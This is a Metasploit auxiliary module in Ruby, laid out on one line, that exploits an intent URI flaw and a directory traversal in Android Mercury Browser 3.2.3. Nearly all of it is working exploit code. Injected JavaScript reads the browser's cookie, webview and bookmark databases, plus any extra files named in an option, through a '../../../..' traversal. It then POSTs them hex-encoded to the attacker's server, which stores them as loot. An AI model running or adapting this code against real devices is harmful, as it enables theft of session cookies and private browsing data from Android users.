## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Android Mercury Browser Intent URI Scheme and Directory Traversal Vulnerability', 'Description' => %q{ This module exploits an unsafe intent URI scheme and directory traversal found in Android Mercury Browser version 3.2.3. The intent allows the attacker to invoke a private wifi manager activity, which starts a web server for Mercury on port 8888. The webserver also suffers a directory traversal that allows remote access to sensitive files. By default, this module will go after webviewCookiesChromium.db, webviewCookiesChromiumPrivate.db, webview.db, and bookmarks.db. But if this isn't enough, you can also specify the ADDITIONAL_FILES datastore option to collect more files. }, 'Author' => [ 'rotlogix', # Vuln discovery, PoC, etc 'sinn3r', 'joev' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ], [ 'URL', 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ] ] )) register_options( [ OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device']) ]) end def is_android?(user_agent) user_agent.include?('Android') end def get_html %Q|
| end def backend_url proto = (datastore['SSL'] ? 'https' : 'http') my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource "#{proto}://#{my_host}#{port_str}#{resource}/catch" end def uxss %Q| function exploit() { history.replaceState({},{},'/storage/emulated/0/Download/'); var urls = #{JSON.generate(file_urls)}; urls.forEach(function(url) { var x = new XMLHttpRequest(); x.open('GET', '/dodownload?fname=../../../..'+url); x.responseType = 'arraybuffer'; x.send(); x.onload = function(){ var buff = new Uint8Array(x.response); var hex = Array.prototype.map.call(buff, function(d) { var c = d.toString(16); return (c.length < 2) ? 0+c : c; }).join(''); var send = new XMLHttpRequest(); send.open('POST', '#{backend_url}/'+encodeURIComponent(url.replace(/.*\\//,''))); send.setRequestHeader('Content-type', 'text/plain'); send.send(hex); }; }); } var q = window.open('http://localhost:8888/','x'); q.onload = function(){ q.eval('('+exploit.toString()+')()'); }; | end def file_urls files = [ '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db', '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db', '/data/data/com.ilegendsoft.mercury/databases/webview.db', '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db' ] if datastore['ADDITIONAL_FILES'] files.concat(datastore['ADDITIONAL_FILES'].split) end files end def on_request_uri(cli, req) print_status("Requesting: #{req.uri}") unless is_android?(req.headers['User-Agent']) print_error('Target is not Android') send_not_found(cli) return end if req.method =~ /post/i if req.body filename = File.basename(req.uri) || 'file' output = store_loot( filename, 'text/plain', cli.peerhost, hex2bin(req.body), filename, 'Android mercury browser file' ) print_good("Stored #{req.body.bytes.length} bytes to #{output}") end return end print_status('Sending HTML...') html = get_html send_response_html(cli, html) end def hex2bin(hex) hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join end def run exploit end end